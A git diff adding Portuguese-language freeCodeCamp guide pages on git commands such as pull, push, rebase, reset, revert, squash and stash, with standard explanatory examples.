+git checkout -b new-branch-name 
+ git add . 
+ git commit -m "<your commit message>" 
+```
+
+*   Guardá-los
+
+```shell
+git stash               # add them to the stash 
+ git merge new-features  # do your merge 
+ git stash pop           # get the changes back into your working tree 
+```
+
+*   Abandone tudo
+
+```shell
+git reset --hard        # removes all pending changes 
+```
+
+## Mesclar Conflito
+
+Um conflito de mesclagem é quando você faz commits em ramificações separadas que alteram a mesma linha de maneiras conflitantes. Portanto, o Git não saberá qual versão do arquivo deve ser mantida
+
+resultando na mensagem de erro:
+
+CONFLITO (conteúdo): mesclar conflito no resumé.txt Falha na mesclagem automática; corrigir conflitos e, em seguida, confirmar o resultado.
+
+No editor de código, o Git usa marcações para indicar a versão HEAD (master) do arquivo e a outra versão do arquivo.
+
+`<<<<<<< HEAD`
+
+`>>>>>>> OTHER`
+
+A partir do editor de código, apague / atualize para resolver conflitos e remova as marcações especiais, incluindo os nomes de arquivos HEAD e OTHER, recarregue seu arquivo e, em seguida, adicione novamente suas cópias.
+
+Para mais informações sobre o comando `git merge` e todas as opções disponíveis, por favor consulte a [documentação](https://git-scm.com/docs/git-merge) do [Git](https://git-scm.com/docs/git-merge) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-pull/index.md b/client/src/guide/portuguese/git/git-pull/index.md
new file mode 100644
index 0000000000..da086275c5
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-pull/index.md
@@ -0,0 +1,123 @@
+---
+title: Git Pull
+localeTitle: Git Pull
+---
+## Git Pull
+
+`git pull` é um comando do Git usado para atualizar a versão local de um repositório de um remoto.
+
+É um dos quatro comandos que promovem interação de rede pelo Git. Por padrão, o `git pull` faz duas coisas.
+
+1.  Atualiza o ramo de trabalho local atual (ramificação atualmente retirada)
+2.  Atualiza as ramificações de rastreamento remoto para todas as outras ramificações.
+
+`git pull` busca ( `git fetch` ) os novos commits e merges [( `git merge` )](https://guide.freecodecamp.org/git/git-merge) em seu branch local.
+
+A sintaxe deste comando é a seguinte:
+
+```shell
+# General format 
+ git pull OPTIONS REPOSITORY REFSPEC 
+ 
+ # Pull from specific branch 
+ git pull REMOTE-NAME BRANCH-NAME 
+```
+
+no qual:
+
+*   **OPTIONS** são as opções de comando, como `--quiet` ou `--verbose` . Você pode ler mais sobre as diferentes opções na [documentação do Git](https://git-scm.com/docs/git-pull)
+*   **REPOSITORY** é o URL do seu repo. Exemplo: https://github.com/freeCodeCamp/freeCodeCamp.git
+*   **REFSPEC** especifica quais refs para buscar e quais refs locais devem atualizar
+*   **REMOTE-NAME** é o nome do seu repositório remoto. Por exemplo: _origem_ .
+*   **BRANCH-NAME** é o nome da sua filial. Por exemplo: _desenvolver_ .
+
+**Nota**
+
+Se você tiver alterações não confirmadas, a parte de mesclagem do comando `git pull` falhará e sua ramificação local não será afetada.
+
+Assim, você deve _sempre confirmar suas alterações em um branch antes de extrair_ novos commits de um repositório remoto.
+
+**Índice**
+
+*   [Usando o `git pull`](#using-git-pull)
+*   [Controle de Versão Distribuída](#distributed-version-control)
+*   [`git fetch` + `git merge`](#git-fetch-plus-git-merge)
+*   [`git pull` in IDEs](#git-pull-in-IDEs)
+
+### Usando o git pull
+
+Use `git pull` para atualizar um repositório local do repositório remoto correspondente. Ex: Enquanto estiver trabalhando localmente no `master` , execute `git pull` para atualizar a cópia local do `master` e atualize as outras ramificações de rastreamento remoto. (Mais informações sobre ramificações de rastreamento remotas na próxima seção.)
+
+Mas há algumas coisas que devem ser lembradas para que esse exemplo seja verdadeiro:
+
+*   O repositório local possui um repositório remoto vinculado
+*   Verifique isso executando `git remote -v`
+*   Se houver vários controles remotos, o `git pull` poderá não ser suficiente. Pode ser necessário inserir `git pull origin` `git pull upstream` ou `git pull upstream` .
+*   O ramo no qual você está atualmente com check out possui um ramo de rastreamento remoto correspondente
+*   Verifique isso executando o `git status` . Se não houver um ramo de monitoramento remoto, Git não sabe onde para puxar as _informações._
+
+### Controle de Versão Distribuída
+
+Git é um **sistema de controle de versão** distribuído (DVCS). Com o DVCS, os desenvolvedores podem trabalhar no mesmo arquivo ao mesmo tempo em ambientes separados. Depois de _empurrar o_ código para o repositório remoto compartilhado, outros desenvolvedores podem _obter o_ código alterado.
+
+#### Interações de rede no Git
+
+Existem apenas quatro comandos que solicitam interações de rede no Git. Um repositório local não tem consciência das alterações feitas no repositório remoto até que haja uma solicitação de informações. E, um repositório remoto não tem consciência das mudanças locais até que as confirmações sejam enviadas.
+
+Os quatro comandos de rede são:
+
+*   `git clone`
+*   `git fetch`
+*   `git pull`
+*   `git push`
+
+#### Filiais em DVCS
+
+Ao trabalhar com o Git, pode parecer que existem muitas cópias do mesmo código flutuando por todo o lugar. Existem diferentes versões do mesmo arquivo em cada ramificação. E cópias diferentes dos mesmos ramos no computador de cada desenvolvedor e no controle remoto. Para acompanhar isso, o Git usa algo chamado **ramificações de rastreamento remoto** .
+
+Se você executar `git branch --all` dentro de um repositório Git, as ramificações de rastreamento remoto aparecerão em vermelho. Essas são cópias somente leitura do código, conforme aparecem no controle remoto. (Quando foi a última interação de rede que teria trazido informações localmente? Lembre-se de quando essas informações foram atualizadas pela última vez. As informações nas ramificações de rastreamento remotas refletem as informações dessa interação.)
+
+Com **ramificações de rastreamento remoto** , você pode trabalhar no Git em vários ramos sem interação de rede. Toda vez que você executa comandos `git pull` ou `git fetch` , você atualiza **as ramificações de rastreamento remoto** .
+
+### git fetch mais git merge
+
+`git pull` é um comando de combinação, igual a `git fetch` + `git merge` .
+
+#### git fetch
+
+Por si só, o `git fetch` atualiza todas as ramificações de rastreamento remoto no repositório local. Nenhuma alteração é realmente refletida em qualquer um dos ramos de trabalho locais.
+
+#### git merge
+
+Sem nenhum argumento, o `git merge` mesclará o ramo de rastreamento remoto correspondente ao ramo de trabalho local.
+
+#### git pull
+
+`git fetch` atualiza as ramificações de rastreamento remoto. `git merge` atualiza o ramo atual com o ramo de rastreamento remoto correspondente. Usando o `git pull` , você recebe as duas partes dessas atualizações. Mas, isso significa que, se você tiver feito o check-out para `feature` branch e executar o `git pull` , quando fizer o checkout `master` , quaisquer novas atualizações não serão incluídas. Sempre que você fizer o checkout em outro branch que possa ter novas alterações, é sempre uma boa ideia executar o `git pull` .
+
+### git pull in IDEs
+
+Linguagem comum em outros IDES pode não incluir a palavra `pull` . Se você observar as palavras `git pull` mas não as verá, procure a palavra `sync` .
+
+### Fitting um PR remoto (Pull Request) para repo local
+
+Para fins de revisão e tal, os PRs no remoto devem ser buscados no repositório local. Você pode usar o comando `git fetch` como segue para conseguir isso.
+
+`git fetch origin pull/ID/head:BRANCHNAME`
+
+ID é o ID da solicitação pull e BRANCHNAME é o nome da ramificação que você deseja criar. Uma vez que o ramo tenha sido criado, você pode usar o `git checkout` para mudar para aquele brach.
+
+### Outros recursos em git pull
+
+*   [git-scm](https://git-scm.com/docs/git-pull)
+*   [Documentos de ajuda do GitHub](https://help.github.com/articles/fetching-a-remote/#pull)
+*   [Treinamento GitHub On Demand](https://services.github.com/on-demand/intro-to-github/create-pull-request)
+*   [Tutoriais de Sincronização](https://www.atlassian.com/git/tutorials/syncing)
+
+### Outros recursos no git em guide.freecodecamp.org
+
+*   [Git merge](../git-merge/index.md)
+*   [Git checkout](../git-checkout/index.md)
+*   [Git commit](../git-commit/index.md)
+*   [Git stash](../git-stash/index.md)
+*   [Filial Git](../git-branch/index.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-push/index.md b/client/src/guide/portuguese/git/git-push/index.md
new file mode 100644
index 0000000000..b93fa232b8
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-push/index.md
@@ -0,0 +1,76 @@
+---
+title: Git Push
+localeTitle: Git Push
+---
+## Git Push
+
+O comando `git push` permite enviar (ou _enviar_ ) os commits de sua ramificação local em seu repositório Git local para o repositório remoto.
+
+Para poder enviar para o seu repositório remoto, você deve garantir que **todas as suas alterações no repositório local sejam confirmadas** .
+
+A sintaxe deste comando é a seguinte:
+
+```bash
+git push <repo name> <branch name> 
+```
+
+Existem várias opções diferentes que você pode passar com o comando, você pode aprender mais sobre elas na [documentação](https://git-scm.com/docs/git-push#_options_a_id_options_a) do [Git](https://git-scm.com/docs/git-push#_options_a_id_options_a) ou executar o comando `git push --help` .
+
+### Empurrar para um Repositório e Ramificação Remota Específicos
+
+Para enviar o código, você deve primeiro clonar um repositório em sua máquina local.
+
+```bash
+# Once a repo is cloned, you'll be working inside of the default branch (the default is `master`) 
+ git clone https://github.com/<git-user>/<repo-name> && cd <repo-name> 
+ # make changes and stage your files (repeat the `git add` command for each file, or use `git add .` to stage all) 
+ git add <filename> 
+ # now commit your code 
+ git commit -m "added some changes to my repo!" 
+ # push changes in `master` branch to github 
+ git push origin master 
+```
+
+Para saber mais sobre filiais, confira os links abaixo:
+
+*   [git checkout](https://github.com/renington/guides/blob/master/src/pages/git/git-checkout/index.md)
+*   [git branch](https://github.com/renington/guides/blob/master/src/pages/git/git-branch/index.md)
+
+### Empurrar para um repositório remoto específico e todos os ramos nele
+
+Se você quiser enviar todas as alterações para o repositório remoto e todas as ramificações, você poderá usar:
+
+```bash
+git push --all <REMOTE-NAME> 
+```
+
+no qual:
+
+*   `--all` é o sinalizador que sinaliza que você deseja enviar todas as ramificações para o repositório remoto
+*   `REMOTE-NAME` é o nome do repositório remoto que você deseja enviar para
+
+### Empurrar para um ramo específico com o parâmetro force
+
+Se você deseja ignorar as mudanças locais feitas no repositório Git no Github (que a maioria dos desenvolvedores faz para um hot fix no servidor de desenvolvimento), então você pode usar o comando --force para empurrar, ignorando essas alterações.
+
+```bash
+git push --force <REMOTE-NAME> <BRANCH-NAME> 
+```
+
+no qual:
+
+*   `REMOTE-NAME` é o nome do repositório remoto para o qual você deseja enviar as alterações para
+*   `BRANCH-NAME` é o nome da ramificação remota para a qual você deseja enviar suas alterações
+
+### Empurre ignorando o gancho de pré-impulso do Git
+
+Por padrão, o `git push` acionará a opção `--verify` . Isso significa que o git executará qualquer script pré-push do lado do cliente que possa ter sido configurado. Se os scripts pré-push falharem, o git push também será interrompido. (Os ganchos de pré-envio são bons para fazer coisas como, verificar se confirmar mensagens confirmam os padrões da empresa, executar testes de unidade, etc.…). Ocasionalmente, você pode querer ignorar esse comportamento padrão, por exemplo, no cenário em que deseja transferir suas alterações para um ramo de recursos para outro colaborador, mas as alterações de trabalho em andamento estão interrompendo os testes de unidade. Para ignorar o gancho, simplesmente insira seu comando push e adicione a flag `--no-verify`
+
+```bash
+git push --no-verify 
+```
+
+### Mais Informações:
+
+*   [Documentação do Git - push](https://git-scm.com/docs/git-push)
+*   [Ganchos Git](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-rebase/index.md b/client/src/guide/portuguese/git/git-rebase/index.md
new file mode 100644
index 0000000000..401cc169b4
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-rebase/index.md
@@ -0,0 +1,76 @@
+---
+title: Git Rebase
+localeTitle: Ir Rebase
+---
+## Rebase do Git
+
+Rebasing uma ramificação no Git é uma maneira de mover a totalidade de uma ramificação para outro ponto na árvore. O exemplo mais simples é mover um ramo mais para cima na árvore. Digamos que temos uma ramificação que divergiu da ramificação principal no ponto A:
+```
+        /o-----o---o--o-----o--------- branch 
+ --oo--A--o---o---o---o----o--ooo--- master 
+```
+
+Quando você rebase você pode movê-lo assim:
+```
+                                   /o-----o---o--o-----o------ branch 
+ --oo--A--o---o---o---o----o--ooo master 
+```
+
+Para fazer o rebase, certifique-se de ter todos os commits desejados no rebase de seu branch master. Confira o branch que você quer rebase e digite `git rebase master` (onde master é o branch que você quer rebase).
+
+Também é possível fazer o rebase de uma ramificação diferente, de modo que, por exemplo, uma ramificação baseada em outra ramificação (vamos chamá-la de feature) seja re-criada no master:
+```
+                            /---oo branch 
+           /---oooo---o--o------ feature 
+ ----o--ooA----o---o--ooo--o--o- master 
+```
+
+Após o `git rebase master branch` ou `git rebase master` quando tiver feito o checkout do branch, você terá:
+```
+           /---oooo---o--o------ feature 
+ ----o--ooA----o---o--ooo--o--o- master 
+                                  \---oo branch 
+```
+
+### Git rebase interativo no console
+
+Para usar o `git rebase` no console com uma lista de commits, você pode escolher, editar ou soltar no rebase:
+
+*   Digite `git rebase -i HEAD~5` com o último número sendo qualquer número de commits do mais recente para trás que você deseja revisar.
+*   No vim, pressione `esc` , em seguida, `i` para começar a editar o teste.
+*   No lado esquerdo, você pode sobrescrever o `pick` com um dos comandos abaixo. Se você quiser esmagar um commit em um anterior e descartar a mensagem de commit, digite `f` no lugar do `pick` do commit.
+```
+pick 452b159 <message for this commit> 
+ pick 7fd4192 <message for this commit> 
+ pick c1af3e5 <message for this commit> 
+ pick 5f5e8d3 <message for this commit> 
+ pick 5186a9f <message for this commit> 
+ 
+ # Rebase 0617e63..5186a9f onto 0617e63 (30 commands) 
+ # 
+ # Commands: 
+ # p, pick = use commit 
+ # r, reword = use commit, but edit the commit message 
+ # e, edit = use commit, but stop for amending 
+ # s, squash = use commit, but meld into previous commit 
+ # f, fixup = like "squash", but discard this commit's log message 
+ # x, exec = run command (the rest of the line) using shell 
+ # d, drop = remove commit 
+ # 
+ # These lines can be re-ordered; they are executed from top to bottom. 
+ # 
+ # If you remove a line here THAT COMMIT WILL BE LOST. 
+ # 
+ # However, if you remove everything, the rebase will be aborted. 
+ # 
+ # Note that empty commits are commented out 
+```
+
+*   Digite `esc` seguido de `:wq` para salvar e sair.
+*   Se ele for rebase com sucesso, você precisará forçar o push de suas alterações com `git push -f` para adicionar a versão `git push -f` ao seu repositório github.
+*   Se houver um conflito de mesclagem, há várias maneiras de corrigir isso, incluindo seguir as sugestões [deste guia](https://help.github.com/enterprise/2.11/user/articles/resolving-a-merge-conflict-using-the-command-line/) . Uma maneira é abrir os arquivos em um editor de texto e excluir as partes do código que você não deseja. Então use `git add <file name>` seguido por `git rebase --continue` . Você pode pular o commit conflitante inserindo `git rebase --skip` , sair do git rebase inserindo `git rebase --abort` no seu console.
+
+### Mais Informações:
+
+*   [Documentação do Git: rebase](https://git-scm.com/docs/git-rebase)
+*   [Guia interativa do Thoughbot para git rebase](https://robots.thoughtbot.com/git-interactive-rebase-squash-amend-rewriting-history)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-remote/index.md b/client/src/guide/portuguese/git/git-remote/index.md
new file mode 100644
index 0000000000..cdace0616d
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-remote/index.md
@@ -0,0 +1,67 @@
+---
+title: Git Remote
+localeTitle: Git Remote
+---
+## Git Remote
+
+O comando `git remote` permite que você gerencie seus repositórios remotos do Git. Repositórios remotos são referências a outros repositórios Git que operam na mesma base de código.
+
+Você pode [puxar de](https://guide.freecodecamp.org/git/git-pull/) e [empurre para](https://guide.freecodecamp.org/git/git-push/) repositórios remotos.
+
+Você pode enviar ou puxar para um URL HTTPS, como `https://github.com/user/repo.git` , ou um URL SSH, como `git@github.com:user/repo.git` .
+
+Não se preocupe, toda vez que você enviar algo, não será necessário digitar o URL inteiro. O Git associa um URL remoto a um nome e o nome que a maioria das pessoas usa é `origin` .
+
+### Listar todos os repositórios remotos configurados
+
+```bash
+git remote -v 
+```
+
+Este comando lista todos os repositórios remotos ao lado de sua localização.
+
+Repositórios remotos são referidos pelo nome. Como observado acima, o repositório principal de um projeto é geralmente chamado de `origin` .
+
+Quando você usa [clone git](https://guide.freecodecamp.org/git/git-clone/) Para obter uma cópia de um repositório, o Git configura o local original como o repositório remoto de _origem_ .
+
+### Adicione um repositório remoto
+
+Para adicionar um repositório remoto ao seu projeto, você executaria o seguinte comando:
+
+```bash
+git remote add REMOTE-NAME REMOTE-URL 
+```
+
+O `REMOTE-URL` pode ser HTTPS ou SSH. Você pode encontrar o URL no GitHub clicando no menu suspenso "Clonar ou baixar" no seu repositório.
+
+Por exemplo, se você quiser adicionar um repositório remoto e chamá-lo de `example` , você executaria:
+
+```bash
+git remote add example https://example.org/my-repo.git 
+```
+
+### Atualizar um URL remoto
+
+Se o URL de um repositório remoto for alterado, você poderá atualizá-lo com o seguinte comando, em que `example` é o nome do controle remoto:
+
+```bash
+git remote set-url example https://example.org/my-new-repo.git 
+```
+
+### Excluindo Remotes
+
+A exclusão de controles remotos é feita assim:
+
+```bash
+git remote rm REMOTE-NAME 
+```
+
+Você pode confirmar que o controle remoto foi removido, visualizando a lista de seus controles remotos existentes:
+
+```bash
+git remote -v 
+```
+
+### Mais Informações:
+
+*   [Documentação remota do Git](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-reset/index.md b/client/src/guide/portuguese/git/git-reset/index.md
new file mode 100644
index 0000000000..96b0e36fd4
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-reset/index.md
@@ -0,0 +1,45 @@
+---
+title: Git Reset
+localeTitle: Git Reset
+---
+## Git Reset
+
+O comando `git reset` permite que você `git reset` sua cabeça atual para um estado especificado. Você pode redefinir o estado de arquivos específicos, bem como uma ramificação inteira.
+
+### Redefinir um arquivo ou conjunto de arquivos
+
+O comando a seguir permite escolher seletivamente partes do conteúdo e reverter ou desassociar.
+
+```shell
+git reset (--patch | -p) [tree-ish] [--] [paths] 
+```
+
+### Desencorajar um arquivo
+
+Se você moveu um arquivo para a área de preparação com o `git add` , mas não quer mais que ele faça parte de um commit, você pode usar o `git reset` para desassociar o arquivo:
+
+```shell
+git reset HEAD FILE-TO-UNSTAGE 
+```
+
+As alterações feitas ainda estarão no arquivo, esse comando apenas remove esse arquivo da sua área de preparação.
+
+### Redefinir uma ramificação para uma confirmação anterior
+
+O comando a seguir redefine o HEAD da sua ramificação atual para o `COMMIT` fornecido e atualiza o índice. Basicamente, ele rebobina o estado de sua ramificação e, em seguida, todos os commits feitos por você, escrevem sobre qualquer coisa que tenha vindo depois do ponto de redefinição. Se você omitir o `MODE` , o padrão será `--mixed` :
+
+```shell
+git reset MODE COMMIT 
+```
+
+As opções para `MODE` são:
+
+*   `--soft` : não redefine o arquivo de índice ou a árvore de trabalho, mas redefine o HEAD para `commit` . Altera todos os arquivos para "Alterações a serem confirmadas"
+*   `--mixed` : redefine o índice, mas não a árvore de trabalho, e relata o que não foi atualizado
+*   `--hard` : redefine o índice e a árvore de trabalho. Quaisquer alterações nos arquivos rastreados na árvore de trabalho desde a `commit` são descartadas
+*   `--merge` : redefine o índice e atualiza os arquivos na árvore de trabalho que são diferentes entre `commit` e HEAD, mas mantém os que são diferentes entre o índice e a árvore de trabalho
+*   `--keep` : redefine entradas de índice e atualiza arquivos na árvore de trabalho que são diferentes entre `commit` e HEAD. Se um arquivo diferente entre `commit` e HEAD tiver alterações locais, a redefinição será abortada
+
+### Mais Informações:
+
+*   [Git redefinir documentação](https://git-scm.com/docs/git-reset)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-revert/index.md b/client/src/guide/portuguese/git/git-revert/index.md
new file mode 100644
index 0000000000..f666d4a6cf
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-revert/index.md
@@ -0,0 +1,71 @@
+---
+title: Git Revert
+localeTitle: Git Reverter
+---
+## Git Reverter
+
+O comando `git revert` desfaz um commit, mas ao contrário do `git reset` , que remove o commit do histórico de commit, ele anexa um novo commit com o conteúdo resultante. Isso evita que o Git perca o histórico, o que é importante para a integridade do seu histórico de revisão e para uma colaboração confiável. Quando você está trabalhando em um repositório com outros desenvolvedores, usar o `git reset` é altamente perigoso porque você altera o histórico de commits, o que torna muito difícil manter um histórico consistente de commits com outros desenvolvedores.
+
+### Opções comuns
+
+1.) Esta é uma opção padrão e não precisa ser especificada. Esta opção abrirá o editor de sistema configurado e solicitará que você edite a mensagem de confirmação antes de confirmar a reversão.
+
+```shell
+  -e 
+  --edit 
+```
+
+2.) Este é o inverso da opção -e. A `revert` não abrirá o editor.
+
+```shell
+  --no-edit 
+```
+
+3.) Passar esta opção irá impedir que o `git revert` crie um novo commit que inverta o commit alvo. Em vez de criar o novo commit, essa opção adicionará as alterações inversas ao índice de armazenamento temporário e ao diretório de trabalho.
+
+```shell
+  -n 
+  --no-edit 
+```
+
+### Exemplo.
+
+Vamos imaginar a seguinte situação. 1.) Você está trabalhando em um arquivo e adiciona e confirma suas alterações. 2.) Você então trabalha em algumas outras coisas, e faz mais commits. 3.) Agora você percebe, três ou quatro commits atrás, você fez algo que você gostaria de desfazer - como você pode fazer isso?
+
+Você pode estar pensando, basta usar `git reset` , mas isso irá remover todos os commits após o que você gostaria de alterar - `git revert` para o resgate! Vamos percorrer este exemplo:
+
+```shell
+mkdir learn_revert # Create a folder called `learn_revert` 
+ cd learn_revert # `cd` into the folder `learn_revert` 
+ git init # Initialize a git repository 
+ 
+ touch first.txt # Create a file called `first.txt` 
+ echo Start >> first.txt # Add the text "Start" to `first.txt` 
+ 
+ git add . # Add the `first.txt` file 
+ git commit -m "adding first" # Commit with the message "Adding first.txt" 
+ 
+ echo WRONG > wrong.txt # Add the text "WRONG" to `wrong.txt` 
+ git add . # Add the `wrong.txt` file 
+ git commit -m "adding WRONG to wrong.txt" # Commit with the message "Adding WRONG to wrong.txt" 
+ 
+ echo More >> first.txt # Add the text "More" to `first.txt` 
+ git add . # Add the `first.txt` file 
+ git commit -m "adding More to first.txt" # Commit with the message "Adding More to first.txt" 
+ 
+ echo Even More >> first.txt # Add the text "Even More" to `first.txt` 
+ git add . # Add the `first.txt` file 
+ git commit -m "adding Even More to First.txt" # Commit with the message "Adding More to first.txt" 
+ 
+ # OH NO! We want to undo the commit with the text "WRONG" - let's revert! Since this commit was 2 from where we are not we can use git revert HEAD~2 (or we can use git log and find the SHA of that commit) 
+ 
+ git revert HEAD~2 # this will put us in a text editor where we can modify the commit message. 
+ 
+ ls # wrong.txt is not there any more! 
+ git log --oneline # note that the commit history hasn't been altered, we've just added a new commit reflecting the removal of the `wrong.txt` 
+```
+
+#### Mais Informações:
+
+*   [Git reverter documentação](https://git-scm.com/docs/git-revert)
+*   [Git reverta tutorial interativo](https://www.atlassian.com/git/tutorials/undoing-changes/git-revert)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-show/index.md b/client/src/guide/portuguese/git/git-show/index.md
new file mode 100644
index 0000000000..337e8fc729
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-show/index.md
@@ -0,0 +1,59 @@
+
+---
+title: Git Show
+localeTitle: undefined
+---
+## Git Show
+
+O `git show` é um comando útil que permite ver em detalhes a visão de um determinado objeto (commits, tags, blobs e trees).
+
+A sintaxe deste comando é a seguinte:
+
+```bash
+git show [<options>] [<object>…​] 
+```
+
+Para diferentes objetos `git show` fornece saídas diferentes.
+
+*   commits mostra a mensagem de log de confirmação com um diff de alterações que foram confirmadas.
+*   Para tags, mostra a mensagem da tag e os objetos referenciados.
+*   Para árvores, mostra os nomes
+*   Para blobs simples, mostra o conteúdo simples
+
+O uso mais comum do `git show` estaria em associação com o objeto git commit
+
+```bash
+git show 3357d63 
+```
+
+Você obteria uma saída semelhante a
+```
+commit 3357d63d8f44104940e568a1ba89fa88a16dc753 
+ Author: John Doe <johndoe@acme.com> 
+ Date:   Tue Oct 2 00:57:38 2018 +0530 
+ 
+    add a section on git commit --amend --author 
+ 
+ diff --git a/src/pages/git/git-commit/index.md b/src/pages/git/git-commit/index.md 
+ index fc9f568..8f1c8eb 100644 
+ --- a/src/pages/git/git-commit/index.md 
+ +++ b/src/pages/git/git-commit/index.md 
+ @@ -73,5 +73,11 @@ Premature commits happen all the time in the course of your day-to-day developme 
+ 
+ Amended commits are actually entirely new commits and the previous commit will no longer be on your current branch. When you're working with others, you should try to avoid amending commits if the last commit is already pushed into the repository. 
+ 
+ +With `--amend`, one of the useful flag you could use is `--author` which enables you to change the author of the last commit you've made. Imagine a situation you haven't properly set up your name or email in git configurations but you already made a commit. With `--author` flag you can simply change them without resetting the last commit. 
+ + 
+ +``` 
+ +git commit --amend --author="John Doe <johndoe@email.com>" 
+ +``` 
+ + 
+ ### More Information: 
+ - Git documentation: [commit](https://git-scm.com/docs/git-commit) 
+```
+
+Você poderia apenas usar o `git show` e ele mostrará o conteúdo do commit mais recente do git.
+
+### Mais Informações:
+
+*   [Documentação do Git - show](https://git-scm.com/docs/git-show)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-squash/index.md b/client/src/guide/portuguese/git/git-squash/index.md
new file mode 100644
index 0000000000..483e0d209e
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-squash/index.md
@@ -0,0 +1,92 @@
+---
+title: Git Squash
+localeTitle: Git Squash
+---
+## Git Squash
+
+Uma das coisas que os desenvolvedores ouvem com frequência sobre seus pedidos de pull é algo como "Isso parece bom para mim, por favor, squash e mesclar". A parte divertida é que não existe tal comando como o `git squash` (a menos que você crie um [alias](https://guide.freecodecamp.org/git/git-rebase) para ele). Para `squash` pull request significa comumente compactar todos os commits deste pedido em um (raramente para outro número) para torná-lo mais conciso, legível e não poluir o histórico do branch principal. Para alcançar esse desenvolvedor, é necessário usar o **modo interativo** do comando [Git Rebase](https://guide.freecodecamp.org/git/git-rebase) .
+
+Muitas vezes, quando você desenvolve algum novo recurso, você acaba com vários commits intermitentes em seu histórico - você desenvolve incrementalmente, afinal. Isso pode ser apenas alguns erros ou etapas para a solução final. Na maioria das vezes não adianta ter todos esses commits na versão pública final do código, então é mais benéfico ter todos eles compactados em um, único e final.
+
+Então vamos supor que você tenha o seguinte log de commit no branch que gostaria de mesclar como parte do pull request:
+
+```shell
+$ git log --pretty=oneline --abbrev-commit 
+ 30374054 Add Jupyter Notebook stub to Data Science Tools 
+ 8490f5fc Minor formatting and Punctuation changes 
+ 3233cb21 Prototype for Notebook page 
+```
+
+É claro que preferimos ter apenas um commit aqui, já que não há nenhum benefício em saber o que começamos a escrever e quais erros corrigimos lá depois, apenas o resultado final é importante.
+
+Então, o que fazemos é iniciar uma sessão de rebase interativa do **HEAD** atual (commit **30374054** ) para o commit **3233cb21** , com a intenção de combinar **3** commits mais recentes em um:
+
+```shell
+$ git rebase -i HEAD~3 
+```
+
+Isso abrirá um editor com algo como seguir:
+
+```shell
+pick 3233cb21 Prototype for Notebook page 
+ pick 8490f5fc Minor formatting and Punctuation changes 
+ pick 30374054 Add Jupyter Notebook to Data Science Tools 
+ # Rebase 
+ # 
+ # Commands: 
+ #  p, pick = use commit 
+ #  r, reword = use commit, but edit the commit message 
+ #  e, edit = use commit, but stop for amending 
+ #  s, squash = use commit, but meld into previous commit 
+ #  f, fixup = like "squash", but discard this commit's log message 
+ #  x, exec = run command (the rest of the line) using shell 
+ # 
+ # These lines can be re-ordered; they are executed from top to bottom. 
+ # 
+ # If you remove a line here THAT COMMIT WILL BE LOST. 
+ # 
+ # However, if you remove everything, the rebase will be aborted. 
+ # 
+ # Note that empty commits are commented out 
+```
+
+Como sempre, o Git nos dá uma mensagem de ajuda muito boa, onde você pode ver essa opção de `squash` que estamos procurando.
+
+Atualmente, as instruções para o rebase interativo dizem para `pick` cada confirmação especificada **e** preservar a mensagem de confirmação correspondente. Isso é - não mude nada. Mas queremos ter apenas um commit no final. Simplesmente edite o texto em seu editor substituindo `pick` with `squash` (ou apenas `s` ) ao lado de cada commit que queremos eliminar e salve / saia do editor. Isso pode parecer assim:
+
+```shell
+s 3233cb21 Prototype for Notebook page 
+ s 8490f5fc Minor formatting and Punctuation changes 
+ pick 30374054 Add Jupyter Notebook to Data Science Tools 
+```
+
+Quando você fecha seu editor salvando essas alterações, ele será reaberto imediatamente, sugerindo a escolha e reformulação de mensagens de confirmação. Algo como
+
+```shell
+# This is a combination of 3 commits. 
+ # The first commit's message is: 
+ Prototype for Notebook page 
+ 
+ # This is the 2nd commit message: 
+ 
+ Minor formatting and Punctuation changes 
+ 
+ # This is the 3rd commit message: 
+ 
+ Add Jupyter Notebook to Data Science Tools 
+ 
+ # Please enter the commit message for your changes. Lines starting 
+ # with '#' will be ignored, and an empty message aborts the commit. 
+```
+
+Neste ponto, você pode excluir todas as mensagens que não deseja incluir na versão final de confirmação, reformulá-las ou apenas escrever a mensagem de confirmação do zero. Apenas lembre-se que a nova versão incluirá todas as linhas que não estão iniciando com o caractere `#` . Mais uma vez, salve e saia do seu editor.
+
+O seu terminal agora deve mostrar uma mensagem de sucesso, incluindo `Successfully rebased and updated <branch name>` e o log do git deve mostrar um histórico agradável e compactado com apenas uma confirmação. Todos os commits intermediários acabaram e estamos prontos para nos fundir!
+
+### Aviso sobre incompatibilidade de histórico de confirmação local e remota
+
+Essa operação é um pouco perigosa se você já tiver seu branch publicado em um repositório remoto - você está modificando o histórico de commits depois de tudo. Portanto, é melhor fazer a operação de squash no branch local antes de fazer **push** . Às vezes, já será empurrado - como você criaria uma solicitação de pull, afinal? Neste caso, você terá que **forçar** as mudanças no ramo remoto depois de fazer o esmagamento, já que seu histórico local e histórico de ramificação no repositório remoto são diferentes:
+
+`shell $ git push origin +my-branch-name`
+
+Faça o seu melhor para se certificar de que você é o único usando este ramo remoto neste ponto, ou você tornará sua vida mais difícil tendo incompatibilidade de histórico. Mas como a **eliminação** é geralmente feita como a operação final em um ramo antes de se livrar dela, geralmente não é uma preocupação tão grande.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-stash/index.md b/client/src/guide/portuguese/git/git-stash/index.md
new file mode 100644
index 0000000000..53f913cc7b
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-stash/index.md
@@ -0,0 +1,74 @@
+---
+title: Git Stash
+localeTitle: Git Stash
+---
+## Git Stash
+
+O Git possui uma área chamada stash, onde você pode armazenar temporariamente um instantâneo de suas alterações sem comprometê-las com o repositório. É separado do diretório de trabalho, da área de preparação ou do repositório.
+
